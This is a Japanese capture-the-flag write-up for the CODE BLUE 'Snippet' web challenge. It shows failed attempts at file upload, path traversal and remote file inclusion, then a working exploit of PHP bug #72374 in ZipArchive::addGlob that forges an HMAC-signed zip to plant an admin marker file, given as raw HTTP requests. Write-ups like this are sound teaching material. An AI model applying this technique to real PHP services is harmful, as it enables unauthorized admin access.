# ▼▼▼CODE BLUE Snippet (Web:289pt、24/555team=4.3％)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```We developed the awesome snippet service. Have a try!http://cbs.tasks.ctf.codeblue.jp
Source Code(Old): src.zip
Updated on 11/10 at 6:30(UTC+0900):この問題はミスにより、非常に簡単になる非想定の解法がありました。協議の結果、このミスを修正した上で、全チーム間で公平になるよう、元の問題のフラッグを公開します。CBCTF{plz fix PHP Bug #72374} ( このフラグは現在有効ではありません )
Source Code (Updated): src-updated.zip```
-----## 【Goal】【index.php】```if (file_exists($USER_DIR . '/is_admin')) {  exit($FLAG);}```
↓
ゴールは、is_adminをアップロードできればflagが得られる。
-----
【config.php】```open($tmpfile);$zip->extractTo($USER_DIR);
$zip->close();
header('Location: /');```
↓
アップロードするファイル名と、ファイルの中身と秘密鍵で計算された値が合致しないとアップロードできないことがわかる。
-----
## 【TRY1：任意コマンド実行を試みる】
phpファイルをアップロードしても実行されず。NG
↓
次に、.htaccessの設定ファイルのアップロードを試みる。
↓
ファイル名のドットが検知される。NG
-----
## 【TRY2：秘密鍵($MY_SECRET)を特定することを試みる】【export.php】```open($tmpfile, ZipArchive::CREATE);$options = array('remove_path' => $_GET['dir']);
$dir = trim($_GET['dir'], '/');$zip->addGlob($dir . '/*', 0, $options);
$zip->close();
$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);header("Content-Disposition: attachment; filename='${hmac}.zip'");readfile($tmpfile);
unlink($tmpfile);```
↓
```$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);header("Content-Disposition: attachment; filename='${hmac}.zip'");```
↓
file_get_contents($tmpfile)が空、つまりフォルダに空の状態でエクスポートすると
↓
220d546185ad9fd41e4ab2ac6740eddd581e5e87dde387288ccfae729f53e4ae.zip
↓
値をGoogle検索してみたが見つからない。特定は難しい。NG
-----
## 【TRY3：dirパラメータで1つ上の階層のconfig.phpをexportすることを試みる】
↓
```if (preg_match('/\.|\\\\|^\//', $_GET['dir']) === 1) {  die('hello hacker :(');}```
↓
`../`が通らないので無理そう。
-----
## 【TRY4：file_get_contents($tmpfile)からURLでRFIすることを試みる】【import.php】
↓
```$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);```
↓
```POST /post.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: cbs.tasks.ctf.codeblue.jpCookie: PHPSESSID=b4e4a199b9f1f8d40a9235d50fd7cba1
filename="https://requestb.in/rq9prarq"```
↓
リクエストが来ない
↓
設定でURLは無効にされていると思われる。NG。
-----
importでis_adminファイルをアップロードすればチェックされない！★しかしファイル名を秘密鍵（$MY_SECRET）で計算された値にする必要がある。
↓
is_adminが圧縮されたものをexportできれば値が合致する圧縮ファイルが得られる
↓
## 【TRY5：ZipArchive::addGlobのバグ(https://bugs.php.net/bug.php?id=72374)】途中で問題がfixされ、前回のflagが全体に公開された`CBCTF{plz fix PHP Bug #72374}`からもこれで確定。
↓
圧縮時にフォルダ名の最後に/を付与するとファイル名が１文字削除されて圧縮されるようだ。
【解法】
よって、`is_admin`ファイルの先頭に任意の1文字を付与(例えば、`ais_admin`）してPOSTでファイルを書き込む
↓
```POST /post.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: cbs.tasks.ctf.codeblue.jpCookie: PHPSESSID=b4e4a199b9f1f8d40a9235d50fd7cba1
filename=ais_admin&contents=```
次に、ファイルエクスポートで、dirの最後に`/`を入れることで、ファイル名の先頭１文字が削除されてzipファイルに圧縮される。
↓
```GET /export.php?dir=d6ac5615e8af00915a76b8c2770091e7/ HTTP/1.1Host: cbs.tasks.ctf.codeblue.jp```
↓
```HTTP/1.1 200 OKDate: Fri, 10 Nov 2017 06:02:43 GMTServer: Apache/2.4.10 (Debian)X-Powered-By: PHP/7.0.25Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Disposition: attachment; filename='e6cbcd0602de36546bcb36cea427817a933730b3bd64a65d9f2a65bd7dbea90d.zip'Vary: Accept-EncodingContent-Length: 394Connection: closeContent-Type: text/html; charset=UTF-8
PK～(省略)～```
↓
全てのファイルの先頭1文字目が削除されるので、`ais_admin`⇒`is_admin`となる。
↓
これでis_adminファイルを含む秘密鍵（$MY_SECRET）で計算された値と合致する圧縮ファイルが得られた```e6cbcd0602de36546bcb36cea427817a933730b3bd64a65d9f2a65bd7dbea90d.zip```
↓
これをインポートするとis_adminをアップロードできる
↓
`CBCTF{sorry-we-had-a-pitty-bug;;}`